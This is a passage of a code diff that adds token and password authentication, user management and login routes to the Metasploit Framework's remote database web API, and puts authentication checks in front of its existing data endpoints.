output << indent + ref.to_s + "\n"
|
||||
Rex::Compat.open_browser(ref.ctx_val) if Rex::Compat.getenv('FUEL_THE_HYPE_MACHINE')
|
||||
else
|
||||
output << indent + ref.to_s + "\n"
|
||||
end
|
||||
end
|
||||
|
||||
output << "\n"
|
||||
end
|
||||
|
||||
|
|
|
@ -54,6 +54,7 @@ class Msf::DBManager
|
|||
autoload :Session, 'msf/core/db_manager/session'
|
||||
autoload :SessionEvent, 'msf/core/db_manager/session_event'
|
||||
autoload :Task, 'msf/core/db_manager/task'
|
||||
autoload :User, 'msf/core/db_manager/user'
|
||||
autoload :Vuln, 'msf/core/db_manager/vuln'
|
||||
autoload :VulnAttempt, 'msf/core/db_manager/vuln_attempt'
|
||||
autoload :VulnDetail, 'msf/core/db_manager/vuln_detail'
|
||||
|
@ -91,6 +92,7 @@ class Msf::DBManager
|
|||
include Msf::DBManager::Session
|
||||
include Msf::DBManager::SessionEvent
|
||||
include Msf::DBManager::Task
|
||||
include Msf::DBManager::User
|
||||
include Msf::DBManager::Vuln
|
||||
include Msf::DBManager::VulnAttempt
|
||||
include Msf::DBManager::VulnDetail
|
||||
|
|
|
@ -0,0 +1,5 @@
|
|||
module Authentication
|
||||
autoload :Strategies, 'msf/core/db_manager/http/authentication/strategies'
|
||||
|
||||
include Strategies
|
||||
end
|
|
@ -0,0 +1,11 @@
|
|||
module Authentication
|
||||
module Strategies
|
||||
autoload :ApiToken, 'msf/core/db_manager/http/authentication/strategies/api_token'
|
||||
autoload :AdminApiToken, 'msf/core/db_manager/http/authentication/strategies/admin_api_token'
|
||||
autoload :UserPassword, 'msf/core/db_manager/http/authentication/strategies/user_password'
|
||||
|
||||
Warden::Strategies.add(:api_token, Authentication::Strategies::ApiToken)
|
||||
Warden::Strategies.add(:admin_api_token, Authentication::Strategies::AdminApiToken)
|
||||
Warden::Strategies.add(:password, Authentication::Strategies::UserPassword)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,21 @@
|
|||
module Authentication
|
||||
module Strategies
|
||||
class AdminApiToken < ApiToken
|
||||
|
||||
# Validates the user associated with the API token is an admin.
|
||||
#
|
||||
# @return [Hash] User validation data
|
||||
# @option :valid [Boolean] True if the user is valid; otherwise, false.
|
||||
# @option :code [Integer] 0 if the user is valid; otherwise, a non-zero strategy failure code.
|
||||
# @option :message [String] strategy failure message
|
||||
def validate_user(user)
|
||||
# perform parent validation first
|
||||
data = super
|
||||
return data if !data[:valid]
|
||||
|
||||
user.admin ? {valid: true, code: 0, message: nil} : {valid: false, code: 403, message: "Invalid permissions."}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,53 @@
|
|||
module Authentication
|
||||
module Strategies
|
||||
class ApiToken < Warden::Strategies::Base
|
||||
AUTHORIZATION = 'HTTP_AUTHORIZATION'
|
||||
AUTHORIZATION_SCHEME = 'Bearer'
|
||||
TOKEN_QUERY_PARAM = 'token'
|
||||
|
||||
# Check if request contains valid data and should be authenticated.
|
||||
# @return [Boolean] true if strategy should be run for the request; otherwise, false.
|
||||
def valid?
|
||||
auth_initialized = request.env['msf.auth_initialized']
|
||||
authorization = request.env[AUTHORIZATION]
|
||||
!auth_initialized || (authorization.is_a?(String) && authorization.start_with?(AUTHORIZATION_SCHEME)) || !params[TOKEN_QUERY_PARAM].nil?
|
||||
end
|
||||
|
||||
# Authenticate the request.
|
||||
def authenticate!
|
||||
auth_initialized = request.env['msf.auth_initialized']
|
||||
db_manager = env['msf.db_manager']
|
||||
authorization = request.env[AUTHORIZATION]
|
||||
if !auth_initialized
|
||||
success!({message: "Initialize authentication by creating an initial user account."})
|
||||
else
|
||||
if authorization.is_a?(String) && authorization.start_with?(AUTHORIZATION_SCHEME)
|
||||
token = authorization.sub(/^#{AUTHORIZATION_SCHEME}\s+/, '')
|
||||
else
|
||||
token = params[TOKEN_QUERY_PARAM]
|
||||
end
|
||||
|
||||
user = db_manager.users(persistence_token: token).first
|
||||
|
||||
validation_data = validate_user(user)
|
||||
if validation_data[:valid]
|
||||
success!(user)
|
||||
else
|
||||
throw(:warden, message: validation_data[:message], code: validation_data[:code])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Validates the user associated with the API token.
|
||||
#
|
||||
# @return [Hash] User validation data
|
||||
# @option :valid [Boolean] True if the user is valid; otherwise, false.
|
||||
# @option :code [Integer] 0 if the user is valid; otherwise, a non-zero strategy failure code.
|
||||
# @option :message [String] strategy failure message
|
||||
def validate_user(user)
|
||||
!user.nil? ? {valid: true, code: 0, message: nil} : {valid: false, code: 401, message: "Invalid API token."}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,36 @@
|
|||
module Authentication
|
||||
module Strategies
|
||||
class UserPassword < Warden::Strategies::Base
|
||||
|
||||
Warden::Manager.serialize_into_session{ |user| user.id }
|
||||
Warden::Manager.serialize_from_session{ |id|
|
||||
db_manager = env['msf.db_manager']
|
||||
db_manager.users(id: id).first
|
||||
}
|
||||
|
||||
Warden::Manager.before_failure do |env,opts|
|
||||
# change request method to get control to our handler since authentication failure can happen on any request
|
||||
env['REQUEST_METHOD'] = 'POST'
|
||||
end
|
||||
|
||||
# Check if request contains valid data and should be authenticated.
|
||||
# @return [Boolean] true if strategy should be run for the request; otherwise, false.
|
||||
def valid?
|
||||
params['username'] && params['password']
|
||||
end
|
||||
|
||||
# Authenticate the request.
|
||||
def authenticate!
|
||||
db_manager = env['msf.db_manager']
|
||||
user = db_manager.users(username: params['username']).first
|
||||
|
||||
if user.nil? || !db_manager.authenticate_user(id: user.id, password: params['password'])
|
||||
fail("Invalid username or password.")
|
||||
else
|
||||
success!(user)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,5 +1,5 @@
|
|||
require 'rack'
|
||||
require 'msf/core/db_manager/http/sinatra_app'
|
||||
require 'msf/core/db_manager/http/metasploit_api_app'
|
||||
require 'metasploit/framework/parsed_options/remote_db'
|
||||
require 'rex/ui/text/output/stdio'
|
||||
|
||||
|
@ -26,14 +26,14 @@ class HttpDBManagerService
|
|||
|
||||
def start_http_server(opts)
|
||||
|
||||
Rack::Handler::Thin.run(SinatraApp, opts) do |server|
|
||||
Rack::Handler::Thin.run(MetasploitApiApp, opts) do |server|
|
||||
|
||||
if opts[:ssl] && opts[:ssl] = true
|
||||
print_good "SSL Enabled"
|
||||
print_good('SSL Enabled')
|
||||
server.ssl = true
|
||||
server.ssl_options = opts[:ssl_opts]
|
||||
else
|
||||
print_warning 'SSL Disabled'
|
||||
print_warning('SSL Disabled')
|
||||
end
|
||||
server.threaded = true
|
||||
end
|
||||
|
|
|
@ -0,0 +1,98 @@
|
|||
require 'sinatra/base'
|
||||
require 'swagger/blocks'
|
||||
require 'sysrandom/securerandom'
|
||||
require 'warden'
|
||||
require 'msf/core/db_manager/http/authentication'
|
||||
require 'msf/core/db_manager/http/servlet_helper'
|
||||
require 'msf/core/db_manager/http/servlet/api_docs_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/auth_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/host_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/note_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/vuln_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/event_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/web_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/msf_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/workspace_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/service_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/session_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/exploit_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/loot_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/session_event_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/credential_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/login_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/nmap_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/db_export_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/vuln_attempt_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/user_servlet'
|
||||
|
||||
class MetasploitApiApp < Sinatra::Base
|
||||
helpers ServletHelper
|
||||
|
||||
# Servlet registration
|
||||
register ApiDocsServlet
|
||||
register AuthServlet
|
||||
register HostServlet
|
||||
register VulnServlet
|
||||
register EventServlet
|
||||
register WebServlet
|
||||
register MsfServlet
|
||||
register NoteServlet
|
||||
register WorkspaceServlet
|
||||
register ServiceServlet
|
||||
register SessionServlet
|
||||
register ExploitServlet
|
||||
register LootServlet
|
||||
register SessionEventServlet
|
||||
register CredentialServlet
|
||||
register LoginServlet
|
||||
register NmapServlet
|
||||
register DbExportServlet
|
||||
register VulnAttemptServlet
|
||||
register UserServlet
|
||||
|
||||
configure do
|
||||
set :sessions, {key: 'msf-ws.session', expire_after: 300}
|
||||
set :session_secret, ENV.fetch('MSF_WS_SESSION_SECRET') { SecureRandom.hex(16) }
|
||||
end
|
||||
|
||||
before do
|
||||
# store DBManager in request environment so that it is available to Warden
|
||||
request.env['msf.db_manager'] = get_db
|
||||
# store flag indicating whether authentication is initialized in the request environment
|
||||
@@auth_initialized ||= get_db.users({}).count > 0
|
||||
request.env['msf.auth_initialized'] = @@auth_initialized
|
||||
end
|
||||
|
||||
use Warden::Manager do |config|
|
||||
# failed authentication is handled by this application
|
||||
config.failure_app = self
|
||||
# don't intercept 401 responses since the app will provide custom failure messages
|
||||
config.intercept_401 = false
|
||||
config.default_scope = :api
|
||||
|
||||
config.scope_defaults :user,
|
||||
# whether to persist the result in the session or not
|
||||
store: true,
|
||||
# list of strategies to use
|
||||
strategies: [:password],
|
||||
# action (route) of the failure application
|
||||
action: "#{AuthServlet.api_unauthenticated_path}/user"
|
||||
|
||||
config.scope_defaults :api,
|
||||
# whether to persist the result in the session or not
|
||||
store: false,
|
||||
# list of strategies to use
|
||||
strategies: [:api_token],
|
||||
# action (route) of the failure application
|
||||
action: AuthServlet.api_unauthenticated_path
|
||||
|
||||
config.scope_defaults :admin_api,
|
||||
# whether to persist the result in the session or not
|
||||
store: false,
|
||||
# list of strategies to use
|
||||
strategies: [:admin_api_token],
|
||||
# action (route) of the failure application
|
||||
action: AuthServlet.api_unauthenticated_path
|
||||
end
|
||||
|
||||
end
|
Binary file not shown.
After Width: | Height: | Size: 6.7 KiB |
|
@ -1,61 +0,0 @@
|
|||
<!-- HTML for static distribution bundle build -->
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Metasploit API Documentation</title>
|
||||
<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700|Source+Code+Pro:300,600|Titillium+Web:400,600,700" rel="stylesheet">
|
||||
<link rel="stylesheet" type="text/css" href="./swagger-ui.css" >
|
||||
<link rel="icon" type="image/png" href="./favicon-32x32.png" sizes="32x32" />
|
||||
<link rel="icon" type="image/png" href="./favicon-16x16.png" sizes="16x16" />
|
||||
<style>
|
||||
html
|
||||
{
|
||||
box-sizing: border-box;
|
||||
overflow: -moz-scrollbars-vertical;
|
||||
overflow-y: scroll;
|
||||
}
|
||||
|
||||
*,
|
||||
*:before,
|
||||
*:after
|
||||
{
|
||||
box-sizing: inherit;
|
||||
}
|
||||
|
||||
body
|
||||
{
|
||||
margin:0;
|
||||
background: #fafafa;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="swagger-ui"></div>
|
||||
|
||||
<script src="./swagger-ui-bundle.js"> </script>
|
||||
<script src="./swagger-ui-standalone-preset.js"> </script>
|
||||
<script>
|
||||
window.onload = function() {
|
||||
|
||||
// Build a system
|
||||
const ui = SwaggerUIBundle({
|
||||
url: "http://petstore.swagger.io/v2/swagger.json",
|
||||
dom_id: '#swagger-ui',
|
||||
deepLinking: true,
|
||||
presets: [
|
||||
SwaggerUIBundle.presets.apis,
|
||||
SwaggerUIStandalonePreset
|
||||
],
|
||||
plugins: [
|
||||
SwaggerUIBundle.plugins.DownloadUrl
|
||||
],
|
||||
layout: "StandaloneLayout"
|
||||
})
|
||||
|
||||
window.ui = ui
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,95 @@
|
|||
body {
|
||||
margin:0;
|
||||
}
|
||||
|
||||
ul {
|
||||
background-color: rgb(47,47,47);
|
||||
list-style-type: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
li {
|
||||
float: left;
|
||||
}
|
||||
|
||||
li a, .dropdown-btn {
|
||||
display: inline-block;
|
||||
color: white;
|
||||
text-align: center;
|
||||
padding: 14px 16px;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
li a:hover, .dropdown-menu:hover .dropdown-btn {
|
||||
background-color: rgb(73,73,73);
|
||||
}
|
||||
|
||||
li.dropdown-menu {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.dropdown-content {
|
||||
display: none;
|
||||
position: absolute;
|
||||
background-color: rgb(73,73,73);
|
||||
min-width: 160px;
|
||||
box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.dropdown-content a {
|
||||
color: white;
|
||||
padding: 12px 16px;
|
||||
text-decoration: none;
|
||||
display: block;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.dropdown-content a:hover {
|
||||
background-color: rgb(96,96,96);
|
||||
}
|
||||
|
||||
.dropdown-menu:hover .dropdown-content {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.api-token {
|
||||
float:left;
|
||||
}
|
||||
|
||||
#api-token-label {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
#api-token {
|
||||
margin-left: 7px;
|
||||
}
|
||||
|
||||
.credential-container {
|
||||
border: 1px solid rgba(0, 0, 0, 0.4);
|
||||
box-shadow: 0 2px 3px rgba(0, 0, 0, 0.55);
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
max-width: 390px;
|
||||
min-width: 300px;
|
||||
min-height: 250px;
|
||||
padding: 34px;
|
||||
}
|
||||
|
||||
input[type=text], input[type=password] {
|
||||
border-color: rgba(0, 0, 0, 0.6);
|
||||
border-width: 1px;
|
||||
margin-bottom: 16px;
|
||||
width: 100%;
|
||||
height: 34px;
|
||||
}
|
||||
|
||||
button {
|
||||
border-color: rgba(0, 0, 0, 0.6);
|
||||
border-width: 1px;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
height: 34px;
|
||||
}
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,106 @@
|
|||
module AuthServlet
|
||||
|
||||
def self.api_path
|
||||
'/api/v1/auth'
|
||||
end
|
||||
|
||||
def self.api_account_path
|
||||
"#{AuthServlet.api_path}/account"
|
||||
end
|
||||
|
||||
def self.api_login_path
|
||||
"#{AuthServlet.api_path}/login"
|
||||
end
|
||||
|
||||
def self.api_logout_path
|
||||
"#{AuthServlet.api_path}/logout"
|
||||
end
|
||||
|
||||
def self.api_generate_token_path
|
||||
"#{AuthServlet.api_path}/generate-token"
|
||||
end
|
||||
|
||||
def self.api_unauthenticated_path
|
||||
"#{AuthServlet.api_path}/unauthenticated"
|
||||
end
|
||||
|
||||
def self.registered(app)
|
||||
app.get AuthServlet.api_account_path, &get_api_account
|
||||
|
||||
app.get AuthServlet.api_login_path, &get_login
|
||||
app.post AuthServlet.api_login_path, &post_login
|
||||
|
||||
app.get AuthServlet.api_logout_path, &get_logout
|
||||
app.get AuthServlet.api_generate_token_path, &get_generate_token
|
||||
app.post "#{AuthServlet.api_unauthenticated_path}/?:scope?", &post_unauthenticated
|
||||
end
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
||||
# Get account page
|
||||
def self.get_api_account
|
||||
lambda {
|
||||
erb :'auth/account'
|
||||
}
|
||||
end
|
||||
|
||||
# Get login page
|
||||
def self.get_login
|
||||
lambda {
|
||||
erb :'auth/login'
|
||||
}
|
||||
end
|
||||
|
||||
# Process login request
|
||||
def self.post_login
|
||||
lambda {
|
||||
warden.authenticate!(scope: :user)
|
||||
|
||||
if session[:return_to].nil? || session[:return_to] == AuthServlet.api_login_path
|
||||
redirect AuthServlet.api_account_path
|
||||
else
|
||||
redirect session[:return_to]
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
# Process user log out
|
||||
def self.get_logout
|
||||
lambda {
|
||||
warden.logout
|
||||
redirect AuthServlet.api_account_path
|
||||
}
|
||||
end
|
||||
|
||||
# Generate a new API token for the current user
|
||||
def self.get_generate_token
|
||||
lambda {
|
||||
# change action to drop the scope param since this is used
|
||||
# by XMLHttpRequest (XHR) and we don't want a redirect
|
||||
warden.authenticate!(scope: :user, action: AuthServlet.api_unauthenticated_path)
|
||||
token = get_db.create_new_user_token(id: warden.user(:user).id, token_length: 40)
|
||||
set_json_data_response(response: {message: "Generated new API token.", token: token})
|
||||
}
|
||||
end
|
||||
|
||||
# Handle the unauthenticated action for multiple scopes
|
||||
def self.post_unauthenticated
|
||||
lambda {
|
||||
if !params['scope'].nil? && params['scope'] == 'user'
|
||||
session[:return_to] = warden_options[:attempted_path] if session[:return_to].nil?
|
||||
redirect AuthServlet.api_login_path
|
||||
end
|
||||
|
||||
msg = warden_options[:message]
|
||||
code = warden_options[:code] || 401
|
||||
error = {
|
||||
code: code,
|
||||
message: "#{!msg.nil? ? "#{msg} " : nil}Authenticate to access this resource."
|
||||
}
|
||||
set_json_error_response(response: error, code: error[:code])
|
||||
}
|
||||
end
|
||||
|
||||
end
|
|
@ -21,6 +21,7 @@ module CredentialServlet
|
|||
|
||||
def self.get_credentials
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
sanitized_params = sanitize_params(params)
|
||||
data = get_db.creds(sanitized_params)
|
||||
|
@ -37,6 +38,7 @@ module CredentialServlet
|
|||
|
||||
def self.create_credential
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
job = lambda { |opts|
|
||||
opts[:origin_type] = opts[:origin_type].to_sym if opts[:origin_type]
|
||||
opts[:private_type] = opts[:private_type].to_sym if opts[:private_type]
|
||||
|
|
|
@ -14,6 +14,7 @@ module DbExportServlet
|
|||
|
||||
def self.get_db_export
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = params.symbolize_keys
|
||||
opts[:path] = File.join(Msf::Config.local_directory, "#{File.basename(opts[:path])}-#{SecureRandom.hex}")
|
||||
|
|
|
@ -14,6 +14,7 @@ module EventServlet
|
|||
|
||||
def self.report_event
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
job = lambda { |opts| get_db().report_event(opts) }
|
||||
exec_report_job(request, &job)
|
||||
}
|
||||
|
|
|
@ -14,6 +14,7 @@ module ExploitServlet
|
|||
|
||||
def self.report_exploit
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
job = lambda { |opts|
|
||||
case opts[:exploit_report_type]
|
||||
when "attempt"
|
||||
|
|
|
@ -26,6 +26,7 @@ module HostServlet
|
|||
|
||||
def self.get_host
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
sanitized_params = sanitize_params(params)
|
||||
|
@ -40,6 +41,7 @@ module HostServlet
|
|||
|
||||
def self.report_host
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
job = lambda { |opts|
|
||||
data = get_db.report_host(opts)
|
||||
|
@ -53,6 +55,7 @@ module HostServlet
|
|||
|
||||
def self.update_host
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
tmp_params = sanitize_params(params)
|
||||
|
@ -67,6 +70,7 @@ module HostServlet
|
|||
|
||||
def self.delete_host
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
data = get_db.delete_host(opts)
|
||||
|
@ -80,6 +84,7 @@ module HostServlet
|
|||
# TODO: remove once hosts and get_host method is merged
|
||||
def self.search
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
data = get_db().get_host(opts)
|
||||
|
|
|
@ -21,6 +21,7 @@ module LootServlet
|
|||
|
||||
def self.get_loot
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
sanitized_params = sanitize_params(params)
|
||||
|
@ -38,6 +39,7 @@ module LootServlet
|
|||
|
||||
def self.report_loot
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
job = lambda { |opts|
|
||||
if opts[:data]
|
||||
filename = File.basename(opts[:path])
|
||||
|
@ -54,6 +56,7 @@ module LootServlet
|
|||
|
||||
def self.update_loot
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
tmp_params = sanitize_params(params)
|
||||
|
@ -68,6 +71,7 @@ module LootServlet
|
|||
|
||||
def self.delete_loot
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
data = get_db.delete_loot(opts)
|
||||
|
|
|
@ -18,6 +18,7 @@ module MsfServlet
|
|||
|
||||
def self.get_msf_version
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
set_json_response({metasploit_version: Metasploit::Framework::VERSION})
|
||||
}
|
||||
end
|
||||
|
|
|
@ -14,6 +14,7 @@ module NmapServlet
|
|||
|
||||
def self.import_nmap_xml_file
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
|
||||
job = lambda { |opts|
|
||||
nmap_file = File.basename(opts[:filename])
|
||||
|
|
|
@ -21,6 +21,7 @@ module NoteServlet
|
|||
|
||||
def self.get_note
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
sanitized_params = sanitize_params(params)
|
||||
|
@ -35,6 +36,7 @@ module NoteServlet
|
|||
|
||||
def self.report_note
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
job = lambda { |opts|
|
||||
get_db.report_note(opts)
|
||||
|
@ -48,6 +50,7 @@ module NoteServlet
|
|||
|
||||
def self.update_note
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
tmp_params = sanitize_params(params)
|
||||
|
@ -62,6 +65,7 @@ module NoteServlet
|
|||
|
||||
def self.delete_note
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
data = get_db.delete_note(opts)
|
||||
|
|
|
@ -21,6 +21,7 @@ module ServiceServlet
|
|||
|
||||
def self.get_services
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = sanitize_params(params)
|
||||
data = get_db.services(opts)
|
||||
|
@ -34,6 +35,7 @@ module ServiceServlet
|
|||
|
||||
def self.report_service
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
job = lambda { |opts| get_db.report_service(opts) }
|
||||
includes = [:host]
|
||||
exec_report_job(request, includes, &job)
|
||||
|
@ -42,6 +44,7 @@ module ServiceServlet
|
|||
|
||||
def self.update_service
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
tmp_params = sanitize_params(params)
|
||||
|
@ -56,6 +59,7 @@ module ServiceServlet
|
|||
|
||||
def self.delete_service
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
data = get_db.delete_service(opts)
|
||||
|
|
|
@ -15,6 +15,7 @@ module SessionEventServlet
|
|||
|
||||
def self.get_session_event
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
data = get_db.session_events(opts)
|
||||
|
@ -27,6 +28,7 @@ module SessionEventServlet
|
|||
|
||||
def self.report_session_event
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
job = lambda { |opts|
|
||||
get_db.report_session_event(opts)
|
||||
|
|
|
@ -19,6 +19,7 @@ module SessionServlet
|
|||
|
||||
def self.get_session
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
sanitized_params = sanitize_params(params)
|
||||
|
@ -33,6 +34,7 @@ module SessionServlet
|
|||
|
||||
def self.report_session
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
job = lambda { |opts|
|
||||
if opts[:session_data]
|
||||
|
|
|
@ -0,0 +1,78 @@
|
|||
module UserServlet
|
||||
|
||||
def self.api_path
|
||||
'/api/v1/users'
|
||||
end
|
||||
|
||||
def self.api_path_with_id
|
||||
"#{UserServlet.api_path}/?:id?"
|
||||
end
|
||||
|
||||
def self.registered(app)
|
||||
app.get UserServlet.api_path_with_id, &get_user
|
||||
app.post UserServlet.api_path, &report_user
|
||||
app.put UserServlet.api_path_with_id, &update_user
|
||||
app.delete UserServlet.api_path, &delete_user
|
||||
end
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
||||
def self.get_user
|
||||
lambda {
|
||||
warden.authenticate!(scope: :admin_api)
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
sanitized_params = sanitize_params(params)
|
||||
data = get_db.users(sanitized_params)
|
||||
set_json_response(data)
|
||||
rescue => e
|
||||
set_error_on_response(e)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def self.report_user
|
||||
lambda {
|
||||
warden.authenticate!(scope: :admin_api)
|
||||
begin
|
||||
job = lambda { |opts|
|
||||
get_db.report_user(opts)
|
||||
}
|
||||
exec_report_job(request, &job)
|
||||
rescue => e
|
||||
set_error_on_response(e)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def self.update_user
|
||||
lambda {
|
||||
warden.authenticate!(scope: :admin_api)
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
tmp_params = sanitize_params(params)
|
||||
opts[:id] = tmp_params[:id] if tmp_params[:id]
|
||||
data = get_db.update_user(opts)
|
||||
set_json_response(data)
|
||||
rescue => e
|
||||
set_error_on_response(e)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def self.delete_user
|
||||
lambda {
|
||||
warden.authenticate!(scope: :admin_api)
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
data = get_db.delete_user(opts)
|
||||
set_json_response(data)
|
||||
rescue => e
|
||||
set_error_on_response(e)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
end
|
|
@ -19,6 +19,7 @@ module VulnAttemptServlet
|
|||
|
||||
def self.get_vuln_attempt
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
data = get_db.vuln_attempts(params.symbolize_keys)
|
||||
|
@ -31,6 +32,7 @@ module VulnAttemptServlet
|
|||
|
||||
def self.report_vuln_attempt
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
job = lambda { |opts|
|
||||
vuln_id = opts.delete(:vuln_id)
|
||||
|
|
|
@ -21,6 +21,7 @@ module VulnServlet
|
|||
|
||||
def self.get_vuln
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
sanitized_params = sanitize_params(params)
|
||||
|
@ -35,6 +36,7 @@ module VulnServlet
|
|||
|
||||
def self.report_vuln
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
job = lambda { |opts|
|
||||
get_db.report_vuln(opts)
|
||||
|
@ -48,6 +50,7 @@ module VulnServlet
|
|||
|
||||
def self.update_vuln
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
tmp_params = sanitize_params(params)
|
||||
|
@ -62,6 +65,7 @@ module VulnServlet
|
|||
|
||||
def self.delete_vuln
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
data = get_db.delete_vuln(opts)
|
||||
|
|
|
@ -14,6 +14,7 @@ module WebServlet
|
|||
|
||||
def self.report_web
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
job = lambda { |opts| get_db().report_web_site(opts) }
|
||||
exec_report_job(request, &job)
|
||||
}
|
||||
|
|
|
@ -21,6 +21,7 @@ module WorkspaceServlet
|
|||
|
||||
def self.get_workspace
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
includes = nil
|
||||
|
@ -37,6 +38,7 @@ module WorkspaceServlet
|
|||
|
||||
def self.add_workspace
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, true)
|
||||
workspace = get_db.add_workspace(opts)
|
||||
|
@ -49,6 +51,7 @@ module WorkspaceServlet
|
|||
|
||||
def self.update_workspace
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
tmp_params = sanitize_params(params)
|
||||
|
@ -63,6 +66,7 @@ module WorkspaceServlet
|
|||
|
||||
def self.delete_workspace
|
||||
lambda {
|
||||
warden.authenticate!
|
||||
begin
|
||||
opts = parse_json_request(request, false)
|
||||
data = get_db.delete_workspaces(opts)
|
||||
|
|
|
@ -16,9 +16,19 @@ module ServletHelper
|
|||
[200, '']
|
||||
end
|
||||
|
||||
